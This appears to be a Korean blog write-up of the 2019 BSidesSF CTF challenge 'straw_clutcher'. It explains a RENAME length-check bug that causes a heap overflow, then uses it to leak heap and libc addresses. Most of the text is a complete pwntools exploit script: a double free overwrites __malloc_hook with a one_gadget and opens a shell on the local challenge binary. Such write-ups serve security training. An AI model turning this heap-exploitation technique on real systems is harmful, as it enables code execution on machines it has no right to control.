2019 besidesSF straw_clutcher
이건 미친문제다.
바이너리 길이가 약 1000줄에 달하는 문제이다..
분석이 가장 힘들었고, 익스는 쉬웠다.
바이너리 길이가 너무 길다보니 취약점을 찾기가 매우 힘들었던 것 같다.
이 바이너리는 다음과 같은 기능을 한다.
xPUT F.ILE 10 # 파일 만들기 (malloc)
GET F.ILE # 파일 읽기 (print)
RETR F.ILE # 파일 읽기 (print)
DELE F.ILE # 파일 제거 (munmap, free)
TRUN F.ILE 10 # 파일 사이즈 변경
RENAME F.ILE A.AAA # 파일 이름 변경
HELP
LIST
LOGIN a nonymous (작동 안함)
취약점은 rename
해주는 곳에서 발생한다.
RENAME
명령어로 들어온 두 인자, old_name
과 new_name
의 길이를 검사하는데 new_name
의 길이 검사를 strlen(old_name)
의 길이로 검사 한다.
이는 *FILE CHUNK
에 복사되며 heap overflow
를 일으킨다.
여기서 FILE CHUNK
를 살펴보자.
xxxxxxxxxx
typedef struct {
char name[0x20]
char dummy[8]
int data_len
char* data
} FILE
이런 식으로 구성되어있다.
heap overflow
를 일으킨다면 data_len
을 덮을 수 있을 것이고, 이를 통해 bunch of data
를 출력시킬 수 있다.
즉, unsortedbin
을 통해 libc
와 data
의 주소를 통해 heap
을 leak
할 수 있다.
이를 통해 dfb
도 트리거할 수 있다.
DATA CHUNK
를 free
시킨 후, FILE CHUNK
를 free
시킨다.
즉, DATA CHUNK
의 주소를 바꾸면 DFB
가 가능하다.
하지만 이를 통해 바로 __malloc_hook
을 덮을 수는 없다.
RENAME
에서 특수 문자 입력이 불가능하기 때문이다.
때문에 마지막 1바이트를 alphanumeric
주소인 것으로 바꿔주고 dfb
를 트리거하면 된다.
from pwn import *
#context.log_level= 'debug'
e = ELF('straw-clutcher')
s = process(e.path)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
sla = lambda x,y: s.sendlineafter(x,y)
sa = lambda x,y: s.sendafter(x,y)
dump = '''
PUT F.FILE 10
GET F.FILE
RETR F.FILE
DELE F.FILE
TRUN F.FILE 10
HELP
LOGIN a nonymous
'''
def put(name, size, data):
sl('PUT '+name+' '+size)
sl(data)
def get(name):
sl('GET '+name)
def retr(name):
sl('RETR '+name)
def rename(name, new_name):
sl('RENAME '+name+' '+new_name)
def dele(name):
sl('DELE '+name)
def trun(name, size):
sl('TRUN '+name+' '+size)
put('A.AAA', str(0x10), 'A'*(0x10-1))
put('B.BBB', str(0x80), 'A'*(0x80-1))
put('D.DDD', str(0x10), 'A'*(0x10-1))
dele('B.BBB')
pay = 'A'*(0x28-2)
rename('A.AAA', pay+'.CCC')
get(pay+'.CCC')
ru('bytes\n')
s.recv(0x50)
heap = u64(s.recv(6).ljust(8, '\x00'))
log.info('heap: {}'.format(hex(heap)))
s.recv(0x58+2)
l_base = u64(s.recv(6).ljust(8, '\x00')) - 0x3c4b78
log.info('l_base: {}'.format(hex(l_base)))
m_hook = l_base + l.symbols['__malloc_hook']
one_list = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one = l_base + one_list[1]
dump = '''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
put('Q.QQQ', str(0x50), 'Q'*(0x50-1))
put('W.WWW', str(0x60), 'W'*(0x60-1))
put('E.EEE', str(0x60), 'E'*(0x60-1))
rename('Q.QQQ', 'C'*(0x30-3)+'.ZZp')
dele('W.WWW')
dele('E.EEE')
dele('C'*(0x30-3)+'.ZZ'+p64(heap+0x160))
put('Q.QQQ', str(0x60), p64(m_hook-3-8-8-8-8) + 'Q'*(0x60-1-8))
put('W.WWW', str(0x60), 'W'*(0x60-1))
put('E.EEE', str(0x60), 'E'*(0x60-1))
put('e.xex', str(0x60), '\x00'*0x13 + p64(one) + '\x00'*(0x50-3-8-1))
put('g.ood', str(0x10), 'E'*(0x10-1))
io()
'system > writeup' 카테고리의 다른 글
2019 besidesSF slowfire (0) | 2019.03.16 |
---|---|
2019 besidesSF genius (0) | 2019.03.16 |
2019 aeroctf remote_storage (0) | 2019.03.14 |
2016 seccon jmper (0) | 2019.03.13 |
pwnable.tw de-aslr (0) | 2019.03.11 |